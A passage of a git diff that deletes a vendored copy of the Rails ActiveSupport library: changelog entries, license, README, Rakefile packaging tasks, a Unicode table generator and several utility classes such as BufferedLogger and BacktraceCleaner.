-* Added Object#suppress which allows you to make a saner choice around with exceptions to swallow #980. Example:
-
-    suppress(ZeroDivisionError) { 1/0 }
-  
-  ...instead of:
-  
-    1/0 rescue nil # BAD, EVIL, DIRTY.
-
-
-*1.0.2* (22th March, 2005)
-
-* Added Kernel#returning -- a Ruby-ized realization of the K combinator, courtesy of Mikael Brockman.
-
-    def foo
-      returning values = [] do
-        values << 'bar'
-        values << 'baz'
-      end
-    end
-    
-    foo # => ['bar', 'baz']
-
-
-*1.0.1* (7th March, 2005)
-
-* Fixed Hash#indifferent_access to also deal with include? and fetch and nested hashes #726 [Nicholas Seckar]
-
-* Added Object#blank? -- see http://redhanded.hobix.com/inspect/objectBlank.html #783 [_why the lucky stiff]
-
-* Added inflection rules for "sh" words, like "wish" and "fish" #755 [phillip@pjbsoftware.com]
-
-* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 [Tobias Lütke]
-
-* Added String#to_time and String#to_date for wrapping ParseDate
-
-
-*1.0.0* (24th February, 2005)
-
-* Added TimeZone as the first of a number of value objects that among others Active Record can use rich value objects using composed_of #688 [Jamis Buck]
-
-* Added Date::Conversions for getting dates in different convenient string representations and other objects
-
-* Added Time::Conversions for getting times in different convenient string representations and other objects
-
-* Added Time::Calculations to ask for things like Time.now.tomorrow, Time.now.yesterday, Time.now.months_ago(4) #580 [DP|Flurin]. Examples:
-
-    "Later today"         => now.in(3.hours),
-    "Tomorrow morning"    => now.tomorrow.change(:hour => 9),
-    "Tomorrow afternoon"  => now.tomorrow.change(:hour => 14),
-    "In a couple of days" => now.tomorrow.tomorrow.change(:hour => 9),
-    "Next monday"         => now.next_week.change(:hour => 9),
-    "In a month"          => now.next_month.change(:hour => 9),
-    "In 6 months"         => now.months_since(6).change(:hour => 9),
-    "In a year"           => now.in(1.year).change(:hour => 9)
-
-* Upgraded to breakpoint 92 which fixes:
-
-    * overload IRB.parse_opts(), fixes #443
-      => breakpoints in tests work even when running them via rake
-    * untaint handlers, might fix an issue discussed on the Rails ML
-    * added verbose mode to breakpoint_client
-    * less noise caused by breakpoint_client by default
-    * ignored TerminateLineInput exception in signal handler
-      => quiet exit on Ctrl-C
-
-* Fixed Inflector for words like "news" and "series" that are the same in plural and singular #603 [echion], #615 [marcenuc]
-
-* Added Hash#stringify_keys and Hash#stringify_keys!
-
-* Added IndifferentAccess as a way to wrap a hash by a symbol-based store that also can be accessed by string keys
-
-* Added Inflector.constantize to turn "Admin::User" into a reference for the constant Admin::User
-
-* Added that Inflector.camelize and Inflector.underscore can deal with modules like turning "Admin::User" into "admin/user" and back
-
-* Added Inflector.humanize to turn attribute names like employee_salary into "Employee salary". Used by automated error reporting in AR.
-
-* Added availability of class inheritable attributes to the masses #477 [Jeremy Kemper]
-
-    class Foo
-      class_inheritable_reader :read_me
-      class_inheritable_writer :write_me
-      class_inheritable_accessor :read_and_write_me
-      class_inheritable_array :read_and_concat_me
-      class_inheritable_hash :read_and_update_me
-    end
-
-    # Bar gets a clone of (not a reference to) Foo's attributes.
-    class Bar < Foo
-    end
-
-    Bar.read_and_write_me == Foo.read_and_write_me
-    Bar.read_and_write_me = 'bar'
-    Bar.read_and_write_me != Foo.read_and_write_me
-
-* Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 [Jeremy Kemper]
-
-* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 [Marcel Molina Jr.]
-
-* Fixed that Dependencies.reload can't load the same file twice #420 [Kent Sibilev]
-
-* Added Fixnum#ago/until, Fixnum#since/from_now #450 [Jeremy Kemper]
-
-* Added that Inflector now accepts Symbols and Classes by calling .to_s on the word supplied
-
-* Added time unit extensions to Fixnum that'll return the period in seconds, like 2.days + 4.hours.
diff --git a/vendor/rails/activesupport/MIT-LICENSE b/vendor/rails/activesupport/MIT-LICENSE
deleted file mode 100644
index cd928b85..00000000
--- a/vendor/rails/activesupport/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2005-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/rails/activesupport/README b/vendor/rails/activesupport/README
deleted file mode 100644
index 9fb9a80c..00000000
--- a/vendor/rails/activesupport/README
+++ /dev/null
@@ -1,43 +0,0 @@
-= Active Support -- Utility classes and standard library extensions from Rails
-
-Active Support is a collection of various utility classes and standard library extensions that were found useful
-for Rails. All these additions have hence been collected in this bundle as way to gather all that sugar that makes
-Ruby sweeter.
-
-
-== Download
-
-The latest version of Active Support can be found at
-
-* http://rubyforge.org/project/showfiles.php?group_id=182
-
-Documentation can be found at 
-
-* http://as.rubyonrails.com
-
-
-== Installation
-
-The preferred method of installing Active Support is through its GEM file. You'll need to have
-RubyGems[http://rubygems.rubyforge.org/wiki/wiki.pl] installed for that, though. If you have it,
-then use:
-
-  % [sudo] gem install activesupport-1.0.0.gem
-
-
-== License
-
-Active Support is released under the MIT license.
-
-
-== Support
-
-The Active Support homepage is http://www.rubyonrails.com. You can find the Active Support
-RubyForge page at http://rubyforge.org/projects/activesupport. And as Jim from Rake says:
-
-   Feel free to submit commits or feature requests.  If you send a patch,
-   remember to update the corresponding unit tests.  If fact, I prefer
-   new feature to be submitted in the form of new unit tests.
-
-For other information, feel free to ask on the ruby-talk mailing list
-(which is mirrored to comp.lang.ruby) or contact mailto:david@loudthinking.com.
diff --git a/vendor/rails/activesupport/Rakefile b/vendor/rails/activesupport/Rakefile
deleted file mode 100644
index f874efea..00000000
--- a/vendor/rails/activesupport/Rakefile
+++ /dev/null
@@ -1,174 +0,0 @@
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rubygems/package_task'
-
-require File.join(File.dirname(__FILE__), 'lib', 'active_support', 'version')
-
-PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME      = 'activesupport'
-PKG_VERSION   = ActiveSupport::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "activesupport"
-RUBY_FORGE_USER    = "webster132"
-
-task :default => :test
-Rake::TestTask.new { |t| 
-  t.libs << "test"
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-  t.warning = true
-}
-
-# Create compressed packages
-dist_dirs = [ "lib", "test"]
-
-# Genereate the RDoc documentation
-
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Active Support -- Utility classes and standard library extensions from Rails"
-  rdoc.options << '--line-numbers' << '--inline-source'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'CHANGELOG')
-  rdoc.rdoc_files.include('lib/active_support.rb')
-  rdoc.rdoc_files.include('lib/active_support/**/*.rb')
-  rdoc.rdoc_files.exclude('lib/active_support/vendor/*')
-}
-
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = PKG_NAME
-  s.version = PKG_VERSION
-  s.summary = "Support and utility classes used by the Rails framework."
-  s.description = %q{Utility library which carries commonly used classes and goodies from the Rails framework}
-
-  s.files = [ "CHANGELOG", "README" ] + Dir.glob( "lib/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  s.require_path = 'lib'
-
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.homepage = "http://www.rubyonrails.org"
-  s.rubyforge_project = "activesupport"
-end
-
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-  p.need_tar = true
-  p.need_zip = true
-end
-
-desc "Publish the beta gem"
-task :pgem => [:package] do
-  require 'rake/contrib/sshpublisher'
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the API documentation"
-task :pdoc => [:rdoc] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/as", "doc").upload
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  require 'rubyforge'
-  require 'rake/contrib/rubyforgepublisher'
-
-  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
-
-  rubyforge = RubyForge.new
-  rubyforge.login
-  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
-end
-
-namespace :tzinfo do
-  desc "Update bundled tzinfo gem. Only copies the subset of classes and definitions required to support Rails time zone features."
-  task :update => ['tzinfo:copy_classes', 'tzinfo:copy_definitions'] do
-    Rake::Task['tzinfo:cleanup_tmp'].invoke
-  end
-  
-  task :unpack_gem do
-    mkdir_p "tmp"
-    cd "tmp"
-    sh "gem unpack --version #{ENV['VERSION'] || "'> 0'"} tzinfo"
-    cd ".."
-  end
-  
-  task :copy_classes => :unpack_gem do
-    mkdir_p "#{destination_path}/tzinfo"
-    cp "#{tmp_path}/lib/tzinfo.rb", destination_path
-    comment_requires_for_excluded_classes!('tzinfo.rb')
-    files = FileList["#{tmp_path}/lib/tzinfo/*.rb"]
-    files.each do |file|
-      filename = File.basename(file)
-      unless excluded_classes.include? filename.sub(/.rb$/, '')
-        cp "#{tmp_path}/lib/tzinfo/#{filename}", "#{destination_path}/tzinfo"
-        comment_requires_for_excluded_classes!("tzinfo/#{filename}")
-      end
-    end
-  end
-  
-  task :copy_definitions => :unpack_gem do
-    $:.unshift "#{File.dirname(__FILE__)}/lib"
-    require 'active_support/values/time_zone'
-    definitions_path = "#{destination_path}/tzinfo/definitions/"
-    mkdir_p definitions_path
-    ActiveSupport::TimeZone::MAPPING.values.each do |zone|
-      subdir = nil
-      if /\// === zone
-        subdir = zone.sub(/\w+$/, '')
-        mkdir_p "#{definitions_path}/#{subdir}"
-      end
-      cp "#{tmp_path}/lib/tzinfo/definitions/#{zone}.rb", "#{definitions_path}/#{subdir}"
-    end
-  end
-
-  task :cleanup_tmp do
-    rm_rf "tmp"
-  end
-  
-  def comment_requires_for_excluded_classes!(file)
-    lines = open("#{destination_path}/#{file}") {|f| f.readlines}
-    updated = false
-    
-    new_lines = []
-    lines.each do |line|
-      if Regexp.new("require 'tzinfo/(#{excluded_classes.join('|')})'") === line
-        updated = true
-        new_lines << "# #{line}"
-      else
-        new_lines << line
-      end
-    end
-    
-    if updated
-      open("#{destination_path}/#{file}", "w") {|f| f.write(new_lines.join)}
-    end
-  end
-  
-  def version
-    ENV['VERSION'] ||= get_unpacked_version
-  end
-  
-  def get_unpacked_version
-    m = (FileList["tmp/tzinfo-*"].to_s.match /\d+\.\d+\.\d+/)
-    m ? m[0] : raise(LoadError, "TZInfo gem must be installed locally. `gem install tzinfo` and try again")
-  end
-  
-  def tmp_path
-    "tmp/tzinfo-#{version}"
-  end
-  
-  def destination_path
-    "lib/active_support/vendor/tzinfo-#{version}"
-  end
-  
-  def excluded_classes
-    %w(country country_index_definition country_info country_timezone timezone_index_definition timezone_proxy tzdataparser)
-  end
-end
diff --git a/vendor/rails/activesupport/bin/generate_tables b/vendor/rails/activesupport/bin/generate_tables
deleted file mode 100755
index f8e03213..00000000
--- a/vendor/rails/activesupport/bin/generate_tables
+++ /dev/null
@@ -1,147 +0,0 @@
-#!/usr/bin/env ruby
-
-begin
-  $:.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib'))
-  require 'active_support'
-rescue IOError
-end
-
-require 'open-uri'
-require 'tmpdir'
-
-module ActiveSupport
-  module Multibyte
-    class UnicodeDatabase
-      def load; end
-    end
-    
-    class UnicodeDatabaseGenerator
-      BASE_URI = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::UNICODE_VERSION}/ucd/"
-      SOURCES = {
-        :codepoints => BASE_URI + 'UnicodeData.txt',
-        :composition_exclusion => BASE_URI + 'CompositionExclusions.txt',
-        :grapheme_break_property => BASE_URI + 'auxiliary/GraphemeBreakProperty.txt',
-        :cp1252 => 'http://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT'
-      }
-
-      def initialize
-        @ucd = UnicodeDatabase.new
-
-        default = Codepoint.new
-        default.combining_class = 0
-        default.uppercase_mapping = 0
-        default.lowercase_mapping = 0
-        @ucd.codepoints = Hash.new(default)
-      end
-
-      def parse_codepoints(line)
-        codepoint = Codepoint.new
-        raise "Could not parse input." unless line =~ /^
-          ([0-9A-F]+);        # code
-          ([^;]+);            # name
-          ([A-Z]+);           # general category
-          ([0-9]+);           # canonical combining class
-          ([A-Z]+);           # bidi class
-          (<([A-Z]*)>)?       # decomposition type
-          ((\ ?[0-9A-F]+)*);  # decompomposition mapping
-          ([0-9]*);           # decimal digit
-          ([0-9]*);           # digit
-          ([^;]*);            # numeric
-          ([YN]*);            # bidi mirrored
-          ([^;]*);            # unicode 1.0 name
-          ([^;]*);            # iso comment
-          ([0-9A-F]*);        # simple uppercase mapping
-          ([0-9A-F]*);        # simple lowercase mapping
-          ([0-9A-F]*)$/ix     # simple titlecase mapping
-        codepoint.code              = $1.hex
-        #codepoint.name              = $2
-        #codepoint.category          = $3
-        codepoint.combining_class   = Integer($4)
-        #codepoint.bidi_class        = $5
-        codepoint.decomp_type       = $7
-        codepoint.decomp_mapping    = ($8=='') ? nil : $8.split.collect { |element| element.hex }
-        #codepoint.bidi_mirrored     = ($13=='Y') ? true : false
-        codepoint.uppercase_mapping = ($16=='') ? 0 : $16.hex
-        codepoint.lowercase_mapping = ($17=='') ? 0 : $17.hex
-        #codepoint.titlecase_mapping = ($18=='') ? nil : $18.hex
-        @ucd.codepoints[codepoint.code] = codepoint
-      end
-
-      def parse_grapheme_break_property(line)
-        if line =~ /^([0-9A-F\.]+)\s*;\s*([\w]+)\s*#/
-          type = $2.downcase.intern
-          @ucd.boundary[type] ||= []
-          if $1.include? '..'
-            parts = $1.split '..'
-            @ucd.boundary[type] << (parts[0].hex..parts[1].hex)
-          else
-            @ucd.boundary[type] << $1.hex
-          end
-        end
-      end
-
-      def parse_composition_exclusion(line)
-        if line =~ /^([0-9A-F]+)/i
-          @ucd.composition_exclusion << $1.hex
-        end
-      end
-
-      def parse_cp1252(line)
-        if line =~ /^([0-9A-Fx]+)\s([0-9A-Fx]+)/i
-          @ucd.cp1252[$1.hex] = $2.hex
-        end
-      end
-
-      def create_composition_map
-        @ucd.codepoints.each do |_, cp|
-          if !cp.nil? and cp.combining_class == 0 and cp.decomp_type.nil? and !cp.decomp_mapping.nil? and cp.decomp_mapping.length == 2 and @ucd.codepoints[cp.decomp_mapping[0]].combining_class == 0 and !@ucd.composition_exclusion.include?(cp.code)
-            @ucd.composition_map[cp.decomp_mapping[0]] ||= {}
-            @ucd.composition_map[cp.decomp_mapping[0]][cp.decomp_mapping[1]] = cp.code
-          end
-        end
-      end
-
-      def normalize_boundary_map
-        @ucd.boundary.each do |k,v|
-          if [:lf, :cr].include? k
-            @ucd.boundary[k] = v[0]
-          end
-        end
-      end
-
-      def parse
-        SOURCES.each do |type, url|
-          filename =  File.join(Dir.tmpdir, "#{url.split('/').last}")
-          unless File.exist?(filename)
-            $stderr.puts "Downloading #{url.split('/').last}"
-            File.open(filename, 'wb') do |target|
-              open(url) do |source|
-                source.each_line { |line| target.write line }
-              end
-            end
-          end
-          File.open(filename) do |file|
-            file.each_line { |line| send "parse_#{type}".intern, line }
-          end
-        end
-        create_composition_map
-        normalize_boundary_map
-      end
-
-      def dump_to(filename)
-        File.open(filename, 'wb') do |f|
-          f.write Marshal.dump([@ucd.codepoints, @ucd.composition_exclusion, @ucd.composition_map, @ucd.boundary, @ucd.cp1252])
-        end
-      end
-    end
-  end
-end
-
-if __FILE__ == $0
-  filename = ActiveSupport::Multibyte::UnicodeDatabase.filename
-  generator = ActiveSupport::Multibyte::UnicodeDatabaseGenerator.new
-  generator.parse
-  print "Writing to: #{filename}"
-  generator.dump_to filename
-  puts " (#{File.size(filename)} bytes)"
-end
diff --git a/vendor/rails/activesupport/install.rb b/vendor/rails/activesupport/install.rb
deleted file mode 100644
index 9c54d8c1..00000000
--- a/vendor/rails/activesupport/install.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rbconfig'
-require 'find'
-require 'ftools'
-
-include Config
-
-# this was adapted from rdoc's install.rb by ways of Log4r
-
-$sitedir = CONFIG["sitelibdir"]
-unless $sitedir
-  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
-  $libdir = File.join(CONFIG["libdir"], "ruby", version)
-  $sitedir = $:.find {|x| x =~ /site_ruby/ }
-  if !$sitedir
-    $sitedir = File.join($libdir, "site_ruby")
-  elsif $sitedir !~ Regexp.quote(version)
-    $sitedir = File.join($sitedir, version)
-  end
-end
-
-# the actual gruntwork
-Dir.chdir("lib")
-
-Find.find("active_support", "active_support.rb") { |f|
-  if f[-3..-1] == ".rb"
-    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
-  else
-    File::makedirs(File.join($sitedir, *f.split(/\//)))
-  end
-}
diff --git a/vendor/rails/activesupport/lib/active_support.rb b/vendor/rails/activesupport/lib/active_support.rb
deleted file mode 100644
index 3d91dc66..00000000
--- a/vendor/rails/activesupport/lib/active_support.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-#--
-# Copyright (c) 2005 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-module ActiveSupport
-  def self.load_all!
-    [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte, SecureRandom, TimeWithZone]
-  end
-
-  autoload :BacktraceCleaner, 'active_support/backtrace_cleaner'
-  autoload :Base64, 'active_support/base64'
-  autoload :BasicObject, 'active_support/basic_object'
-  autoload :BufferedLogger, 'active_support/buffered_logger'
-  autoload :Cache, 'active_support/cache'
-  autoload :Callbacks, 'active_support/callbacks'
-  autoload :Deprecation, 'active_support/deprecation'
-  autoload :Duration, 'active_support/duration'
-  autoload :Gzip, 'active_support/gzip'
-  autoload :Inflector, 'active_support/inflector'
-  autoload :Memoizable, 'active_support/memoizable'
-  autoload :MessageEncryptor, 'active_support/message_encryptor'
-  autoload :MessageVerifier, 'active_support/message_verifier'
-  autoload :Multibyte, 'active_support/multibyte'
-  autoload :OptionMerger, 'active_support/option_merger'
-  autoload :OrderedHash, 'active_support/ordered_hash'
-  autoload :OrderedOptions, 'active_support/ordered_options'
-  autoload :Rescuable, 'active_support/rescuable'
-  autoload :SafeBuffer, 'active_support/core_ext/string/output_safety'
-  autoload :SecureRandom, 'active_support/secure_random'
-  autoload :StringInquirer, 'active_support/string_inquirer'
-  autoload :TimeWithZone, 'active_support/time_with_zone'
-  autoload :TimeZone, 'active_support/values/time_zone'
-  autoload :XmlMini, 'active_support/xml_mini'
-end
-
-require 'active_support/vendor'
-require 'active_support/core_ext'
-require 'active_support/dependencies'
-require 'active_support/json'
-
-I18n.load_path << "#{File.dirname(__FILE__)}/active_support/locale/en.yml"
diff --git a/vendor/rails/activesupport/lib/active_support/all.rb b/vendor/rails/activesupport/lib/active_support/all.rb
deleted file mode 100644
index 8a8805ee..00000000
--- a/vendor/rails/activesupport/lib/active_support/all.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# For forward compatibility with Rails 3.
-#
-# require 'active_support' loads a very bare minumum in Rails 3.
-# require 'active_support/all' loads the whole suite like Rails 2 did.
-#
-# To prepare for Rails 3, switch to require 'active_support/all' now.
-
-require 'active_support'
diff --git a/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb b/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb
deleted file mode 100644
index 0e262c00..00000000
--- a/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-module ActiveSupport
-  # Many backtraces include too much information that's not relevant for the context. This makes it hard to find the signal
-  # in the backtrace and adds debugging time. With a BacktraceCleaner, you can setup filters and silencers for your particular
-  # context, so only the relevant lines are included.
-  #
-  # If you need to reconfigure an existing BacktraceCleaner, like the one in Rails, to show as much as possible, you can always
-  # call BacktraceCleaner#remove_silencers!
-  #
-  # Example:
-  #
-  #   bc = BacktraceCleaner.new
-  #   bc.add_filter   { |line| line.gsub(Rails.root, '') } 
-  #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
-  #   bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
-  #
-  # Inspired by the Quiet Backtrace gem by Thoughtbot.
-  class BacktraceCleaner
-    def initialize
-      @filters, @silencers = [], []
-    end
-    
-    # Returns the backtrace after all filters and silencers has been run against it. Filters run first, then silencers.
-    def clean(backtrace)
-      silence(filter(backtrace))
-    end
-
-    # Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.
-    #
-    # Example:
-    #
-    #   # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
-    #   backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
-    def add_filter(&block)
-      @filters << block
-    end
-
-    # Adds a silencer from the block provided. If the silencer returns true for a given line, it'll be excluded from the
-    # clean backtrace.
-    #
-    # Example:
-    #
-    #   # Will reject all lines that include the word "mongrel", like "/gems/mongrel/server.rb" or "/app/my_mongrel_server/rb"
-    #   backtrace_cleaner.add_silencer { |line| line =~ /mongrel/ }
-    def add_silencer(&block)
-      @silencers << block
-    end
-
-    # Will remove all silencers, but leave in the filters. This is useful if your context of debugging suddenly expands as
-    # you suspect a bug in the libraries you use.
-    def remove_silencers!
-      @silencers = []
-    end
-
-    
-    private
-      def filter(backtrace)
-        @filters.each do |f|
-          backtrace = backtrace.map { |line| f.call(line) }
-        end
-        
-        backtrace
-      end
-      
-      def silence(backtrace)
-        @silencers.each do |s|
-          backtrace = backtrace.reject { |line| s.call(line) }
-        end
-        
-        backtrace
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/base64.rb b/vendor/rails/activesupport/lib/active_support/base64.rb
deleted file mode 100644
index acb8e5a9..00000000
--- a/vendor/rails/activesupport/lib/active_support/base64.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-begin
-  require 'base64'
-rescue LoadError
-end
-
-module ActiveSupport
-  if defined? ::Base64
-    Base64 = ::Base64
-  else
-    # Base64 provides utility methods for encoding and de-coding binary data 
-    # using a base 64 representation. A base 64 representation of binary data
-    # consists entirely of printable US-ASCII characters. The Base64 module
-    # is included in Ruby 1.8, but has been removed in Ruby 1.9.
-    module Base64
-      # Encodes a string to its base 64 representation. Each 60 characters of
-      # output is separated by a newline character.
-      #
-      #  ActiveSupport::Base64.encode64("Original unencoded string") 
-      #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==\n"
-      def self.encode64(data)
-        [data].pack("m")
-      end
-
-      # Decodes a base 64 encoded string to its original representation.
-      #
-      #  ActiveSupport::Base64.decode64("T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==") 
-      #  # => "Original unencoded string"
-      def self.decode64(data)
-        data.unpack("m").first
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/basic_object.rb b/vendor/rails/activesupport/lib/active_support/basic_object.rb
deleted file mode 100644
index 3b5277c2..00000000
--- a/vendor/rails/activesupport/lib/active_support/basic_object.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveSupport
-  if defined? ::BasicObject
-    # A class with no predefined methods that behaves similarly to Builder's
-    # BlankSlate. Used for proxy classes.
-    class BasicObject < ::BasicObject
-      undef_method :==
-      undef_method :equal?
-
-      # Let ActiveSupport::BasicObject at least raise exceptions.
-      def raise(*args)
-        ::Object.send(:raise, *args)
-      end
-    end
-  else
-    class BasicObject #:nodoc:
-      instance_methods.each do |m|
-        undef_method(m) if m.to_s !~ /(?:^__|^nil\?$|^send$|^object_id$)/
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/buffered_logger.rb b/vendor/rails/activesupport/lib/active_support/buffered_logger.rb
deleted file mode 100644
index 63c61543..00000000
--- a/vendor/rails/activesupport/lib/active_support/buffered_logger.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-require 'thread'
-
-module ActiveSupport
-  # Inspired by the buffered logger idea by Ezra
-  class BufferedLogger
-    module Severity
-      DEBUG   = 0
-      INFO    = 1
-      WARN    = 2
-      ERROR   = 3
-      FATAL   = 4
-      UNKNOWN = 5
-    end
-    include Severity
-
-    MAX_BUFFER_SIZE = 1000
-
-    ##
-    # :singleton-method:
-    # Set to false to disable the silencer
-    cattr_accessor :silencer
-    self.silencer = true
-
-    # Silences the logger for the duration of the block.
-    def silence(temporary_level = ERROR)
-      if silencer
-        begin
-          old_logger_level, self.level = level, temporary_level
-          yield self
-        ensure
-          self.level = old_logger_level
-        end
-      else
-        yield self
-      end
-    end
-
-    attr_accessor :level
-    attr_reader :auto_flushing
-
-    def initialize(log, level = DEBUG)
-      @level         = level
-      @buffer        = {}
-      @auto_flushing = 1
-      @guard = Mutex.new
-
-      if log.respond_to?(:write)
-        @log = log
-      elsif File.exist?(log)
-        @log = open(log, (File::WRONLY | File::APPEND))
-        @log.sync = true
-      else
-        FileUtils.mkdir_p(File.dirname(log))
-        @log = open(log, (File::WRONLY | File::APPEND | File::CREAT))
-        @log.sync = true
-        @log.write("# Logfile created on %s" % [Time.now.to_s])
-      end
-    end
-
-    def add(severity, message = nil, progname = nil, &block)
-      return if @level > severity
-      message = (message || (block && block.call) || progname).to_s
-      # If a newline is necessary then create a new message ending with a newline.
-      # Ensures that the original message is not mutated.
-      message = "#{message}\n" unless message[-1] == ?\n
-      buffer << message
-      auto_flush
-      message
-    end
-
-    for severity in Severity.constants
-      class_eval <<-EOT, __FILE__, __LINE__ + 1
-        def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
-          add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
-        end                                                              # end
-                                                                         #
-        def #{severity.downcase}?                                        # def debug?
-          #{severity} >= @level                                          #   DEBUG >= @level
-        end                                                              # end
-      EOT
-    end
-
-    # Set the auto-flush period. Set to true to flush after every log message,
-    # to an integer to flush every N messages, or to false, nil, or zero to
-    # never auto-flush. If you turn auto-flushing off, be sure to regularly
-    # flush the log yourself -- it will eat up memory until you do.
-    def auto_flushing=(period)
-      @auto_flushing =
-        case period
-        when true;                1
-        when false, nil, 0;       MAX_BUFFER_SIZE
-        when Integer;             period
-        else raise ArgumentError, "Unrecognized auto_flushing period: #{period.inspect}"
-        end
-    end
-
-    def flush
-      @guard.synchronize do
-        unless buffer.empty?
-          old_buffer = buffer
-          @log.write(old_buffer.join)
-        end
-
-        # Important to do this even if buffer was empty or else @buffer will
-        # accumulate empty arrays for each request where nothing was logged.
-        clear_buffer
-      end
-    end
-
-    def close
-      flush
-      @log.close if @log.respond_to?(:close)
-      @log = nil
-    end
-
-    protected
-      def auto_flush
-        flush if buffer.size >= @auto_flushing
-      end
-
-      def buffer
-        @buffer[Thread.current] ||= []
-      end
-
-      def clear_buffer
-        @buffer.delete(Thread.current)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache.rb b/vendor/rails/activesupport/lib/active_support/cache.rb
deleted file mode 100644
index 070ba129..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache.rb
+++ /dev/null
@@ -1,248 +0,0 @@
-require 'benchmark'
-
-module ActiveSupport
-  # See ActiveSupport::Cache::Store for documentation.
-  module Cache
